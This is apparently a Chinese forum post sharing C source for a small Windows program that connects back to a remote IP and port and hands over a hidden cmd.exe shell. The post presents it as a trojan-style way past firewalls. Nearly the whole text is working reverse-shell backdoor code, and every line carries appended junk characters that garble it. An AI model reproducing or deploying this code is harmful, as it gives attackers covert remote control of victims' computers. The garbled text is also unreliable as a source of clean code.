这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 :$+D
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/* ============================== wGZ>iLe:
Rebound port in Windows NT m.;{ 8AM%f
By wind,2006/7 -O>^eMWywo
===============================*/ -%7Jj;yA
#include ^/ULh,w!fP
#include
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#pragma comment(lib,"wsock32.lib") m&(%&}g
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void OutputShell(); hhh: rmEZl
SOCKET sClient; l{D,O?`Av
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; G*{ u(x(
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void main(int argc,char **argv) b@Mng6R
{ zd*W5~xKg
WSADATA stWsaData; nJM9c[Ou^H
int nRet; y<Z#my$`|n
SOCKADDR_IN stSaiClient,stSaiServer; Cs6zv>SR
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if(argc != 3) G74a9li@
{ ]'bQ(<^#
printf("Useage:\n\rRebound DestIP DestPort\n"); nfCd*f
return; zei9,^
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} b|V4Fp
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WSAStartup(MAKEWORD(2,2),&stWsaData); BSq;RG(
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }GU6Q|s[u[
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stSaiClient.sin_family = AF_INET; 4.Jaw+
stSaiClient.sin_port = htons(0); HnKF#<
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); c?3F9w#
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 9DP75 ti
{ wYS
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printf("Bind Socket Failed!\n"); "YdDaj</
return; |WwFE|<
} dBD4ogo1
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stSaiServer.sin_family = AF_INET; xhVq
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 8d*<Aki?;
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); NXG}0`QVT
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 6jy n,GU
{ g`f6gxc
printf("Connect Error!"); /w0v5X7
return; xZ{|D
} {0Ol/N;|D
OutputShell(); ~%!U,)-
} GXvo't@N
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void OutputShell() 9 %.<V_$
{ yZPFo
char szBuff[1024]; K:mL%o2J
SECURITY_ATTRIBUTES stSecurityAttributes; :QhEu%e
OSVERSIONINFO stOsversionInfo; "'p+qbT8
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; $d"f/bRWy
STARTUPINFO stStartupInfo; 77bZ
char *szShell; w]P7!t
PROCESS_INFORMATION stProcessInformation; uD*s^
unsigned long lBytesRead; rsIPI69qJ.
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); }rAN2D]"}
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Z?j='/u>@
stSecurityAttributes.lpSecurityDescriptor = 0; (A<sFw?
stSecurityAttributes.bInheritHandle = TRUE; 0tm "kzy
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ]bU'G$Qm&s
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); x)qHeS
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); iJj?~\zp
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i(cb&;Xx:A
stStartupInfo.wShowWindow = SW_HIDE; V;+$/>J`vB
stStartupInfo.hStdInput = hReadPipe; Gy Xs{*
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Tk|;5^#H
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GetVersionEx(&stOsversionInfo); hm} :Me$[)
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switch(stOsversionInfo.dwPlatformId) k2,oyUT=S
{ 1NHoIX
case 1: :8!3*C-=
szShell = "command.com"; E1 gTrMo
break; {3p7`h~
default: aKFA&Xnsl
szShell = "cmd.exe"; )LMuxj
break; #WmAkzvq
} `m0Uj9)#
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); )/i|"`)>_
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send(sClient,szMsg,77,0); WuQ<AS=
while(1) $j2)_(<A%Q
{ +mW$D@Pf
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0);
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if(lBytesRead) TOF62,
{ 3V!&y/c<
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ``)1`wx$
send(sClient,szBuff,lBytesRead,0); yt#;3
} sTstc+w
else 6rC P]YnF
{ 7Mg7B
lBytesRead=recv(sClient,szBuff,1024,0); KGLhl;a
if(lBytesRead<=0) break; GyM%vGl
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); NX #d}M^V
} }eRG$)'
} adPU)k_j:
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return; !!X9mI|2|
}